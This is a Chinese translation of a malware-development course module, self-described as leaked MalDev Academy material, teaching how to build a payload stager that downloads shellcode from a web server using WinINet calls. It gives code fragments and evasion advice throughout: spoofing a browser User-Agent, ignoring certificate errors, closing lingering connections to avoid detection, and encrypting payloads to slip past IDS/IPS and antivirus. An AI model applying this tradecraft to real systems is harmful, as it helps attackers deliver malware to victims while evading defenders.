0%
毅种循环

模块 30 - Payload Staging - Web Server

恶意软件开发课程 - Payload Staging - Web Server


模块 30 - Payload Staging - Web Server#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

Payload Staging - Web Server#

简介#

在到目前为止的所有模块中,Payload 一直直接存储在二进制文件中。这是一种快速且常用的获取 Payload 的方法。不幸的是,在某些存在 Payload 大小限制的情况下,将 Payload 保存在代码中并不是一种可行的方法。替代方法是将 Payload 托管在 Web 服务器上并在执行期间获取它。

💡 初学者提示:Staged vs Stageless

  • Stageless (无阶段):Payload 完整地包含在你的 EXE/DLL 中。
    • 优点:无需网络连接,独立运行。
    • 缺点:文件体积大,容易被 AV 静态扫描发现。
  • Staged (分阶段):EXE/DLL 只包含一小段代码(Stager),负责下载真正的 Payload(Stage)。
    • 优点:初始文件极小,可以根据环境动态下载不同 Payload。
    • 缺点:需要网络连接,网络流量可能被监控。

设置 Web 服务器#

本模块需要一个 Web 服务器来托管 Payload 文件。最简单的方法是使用 Python 的 HTTP 服务器,使用以下命令:

python -m http.server 8000
bash

请注意,Payload 文件应托管在执行此命令的同一目录中。

图片
图片

要验证 Web 服务器是否正常工作,请使用浏览器访问 http://127.0.0.1:8000

图片
图片

获取 Payload#

要从 Web 服务器获取 Payload,将使用以下 Windows API:

打开互联网会话#

第一步是使用 InternetOpenW 打开互联网会话句柄,它初始化应用程序对 WinINet 函数的使用。传递给 WinAPI 的所有参数都为 NULL,因为它们主要用于代理相关事宜。值得注意的是,将第二个参数设置为 NULL 等同于使用 INTERNET_OPEN_TYPE_PRECONFIG,它指定应使用系统的当前配置来确定 Internet 连接的代理设置。

HINTERNET InternetOpenW(
  [in] LPCWSTR lpszAgent,       // User-Agent (这里为 NULL)
  [in] DWORD   dwAccessType,    // NULL 或 INTERNET_OPEN_TYPE_PRECONFIG
  [in] LPCWSTR lpszProxy,       // NULL
  [in] LPCWSTR lpszProxyBypass, // NULL
  [in] DWORD   dwFlags          // NULL
);
c

调用该函数如下面的片段所示。

// 打开互联网会话句柄
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
c

📚 知识扩展:User-Agent 的重要性

InternetOpenW 的第一个参数是 lpszAgent,即 User-Agent 字符串。

  • 设置为 NULL 时,Windows 可能会使用默认值。
  • 安全建议:永远不要使用默认值!因为默认值可能会暴露它是“自定义程序”或脚本。
  • 最佳实践:将其伪装成合法的浏览器,例如: L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"

打开 Payload 句柄#

继续使用下一个 WinAPI,InternetOpenUrlW,在其中建立与 Payload URL 的连接。

HINTERNET InternetOpenUrlW(
  [in] HINTERNET hInternet,       // 由 InternetOpenW 打开的句柄
  [in] LPCWSTR   lpszUrl,         // Payload 的 URL
  [in] LPCWSTR   lpszHeaders,     // NULL
  [in] DWORD     dwHeadersLength, // NULL
  [in] DWORD     dwFlags,         // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  [in] DWORD_PTR dwContext        // NULL
);
c

该函数的调用如下片段所示。函数的第五个参数使用 INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 以在服务器端出现错误的情况下实现更高的 HTTP 请求成功率(例如忽略证书日期无效)。可以使用额外的标志,例如 INTERNET_FLAG_IGNORE_CERT_CN_INVALID,但这留给读者自己去探索。这些标志在微软的文档中有很好的解释。

// 打开 Payload URL 的句柄
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
c

读取数据#

InternetReadFile 是下一个使用的 WinAPI,它将读取 Payload。

BOOL InternetReadFile(
  [in]  HINTERNET hFile,                  // 由 InternetOpenUrlW 打开的句柄
  [out] LPVOID    lpBuffer,               // 存储 Payload 的缓冲区
  [in]  DWORD     dwNumberOfBytesToRead,  // 要读取的字节数
  [out] LPDWORD   lpdwNumberOfBytesRead   // 指向接收读取字节数的变量的指针
);
c

在调用该函数之前,必须分配一个缓冲区来保存 Payload。因此,使用 LocalAlloc 分配一个与 Payload 大小相同的缓冲区,即 272 字节。一旦分配了缓冲区,就可以使用 InternetReadFile 读取 Payload。该函数需要读取的字节数,在本例中为 272

pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)
c

关闭 InternetHandle#

InternetCloseHandle 用于关闭互联网句柄。一旦成功获取 Payload,就应该调用此函数。

BOOL InternetCloseHandle(
  [in] HINTERNET hInternet // 由 InternetOpenW & InternetOpenUrlW 打开的句柄
);
c

关闭 HTTP/S 连接#

重要的是要意识到 InternetCloseHandle WinAPI 不会关闭 HTTP/S 连接。WinInet 尝试重用连接,因此尽管句柄已关闭,但连接仍保持活动状态。关闭连接对于减少检测的可能性至关重要。例如,创建了一个从 GitHub 获取 Payload 的二进制文件。下图显示二进制文件仍然连接到 GitHub,尽管二进制文件的执行已完成。

图片
图片

幸运的是,解决方案非常简单。所需要的只是使用 InternetSetOptionW WinAPI 告诉 WinInet 关闭所有连接。

BOOL InternetSetOptionW(
  [in] HINTERNET hInternet,     // NULL
  [in] DWORD     dwOption,      // INTERNET_OPTION_SETTINGS_CHANGED
  [in] LPVOID    lpBuffer,      // NULL
  [in] DWORD     dwBufferLength // 0
);
c

使用 INTERNET_OPTION_SETTINGS_CHANGED 标志调用 InternetSetOptionW 将导致系统更新其 Internet 设置的缓存版本,从而导致 WinInet 保存的连接被关闭。

InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
c

Payload Staging - 代码片段#

GetPayloadFromUrl 是一个使用前面讨论的步骤从远程服务器获取 Payload 并将其存储在缓冲区中的函数。

动态 Payload 大小分配#

上述实现在已知 Payload 大小时有效。当大小未知或大于 InternetReadFile 中指定的字节数时,将发生堆溢出,导致二进制文件崩溃。

解决此问题的一种方法是将 InternetReadFile 放置在 while 循环中,并连续读取固定字节数的值,在此示例中为 1024 字节。字节直接存储在临时缓冲区中,该缓冲区的大小也将相同,为 1024。临时缓冲区将附加到总字节缓冲区,该缓冲区将不断重新分配以适应每个新读取的 1024 字节块。一旦 InternetReadFile 读取的值小于 1024,则表明已到达文件末尾,并将跳出循环。

动态分配的 Payload Staging - 代码片段#

最终的 Payload Staging - 代码片段#

GetPayloadFromUrl 函数现在接受 3 个参数:

  • szUrl - Payload 的 URL。
  • pPayloadBytes - 返回包含 Payload 的缓冲区的基地址。
  • sPayloadSize - 读取的 Payload 总大小。

该函数还将在 Payload 检索完成后正确关闭 HTTP/S 连接。

实现说明#

在本模块中,Payload 是作为原始二进制数据从互联网检索的,没有任何加密或混淆。虽然这种方法可能会避开分析二进制代码以查找恶意活动迹象的基本安全措施,但它会被网络扫描工具标记。因此,如果 Payload 未加密,传输过程中捕获的数据包可能包含 Payload 的可识别片段。这可能会暴露 Payload 的签名,导致实现过程被标记。

在现实场景中,始终建议对 Payload 进行加密或混淆,即使它是在运行时获取的。

运行最终的二进制文件#

二进制文件成功获取 Payload。

图片
图片

执行完成后,连接关闭。

图片
图片


🎯 总结#

在本模块中,我们学习了:

  1. Payload Staging:如何从远程 Web 服务器下载 Payload。
  2. WinINet API:使用 InternetOpen, InternetOpenUrl, InternetReadFile 进行 HTTP 请求。
  3. 动态内存管理:使用 LocalAllocLocalReAlloc 动态调整缓冲区大小以适应未知大小的 Payload。
  4. 连接管理:使用 InternetSetOptionW 强制关闭 Keep-Alive 连接。

💡 关键要点

  • Payload Staging 使得初始 Dropper 更小,但引入了网络特征。
  • 下载的 Payload 必须是加密的,否则会被网络防御设备(IDS/IPS/Firewall)拦截。
  • 生产代码应该处理网络错误、重试机制和更复杂的内存分配。

📚 下一步学习

下一个模块将介绍 Payload Staging - Registry。是的,我们不仅可以从网络下载 Payload,还可以将 Payload 隐藏在 Windows 注册表中!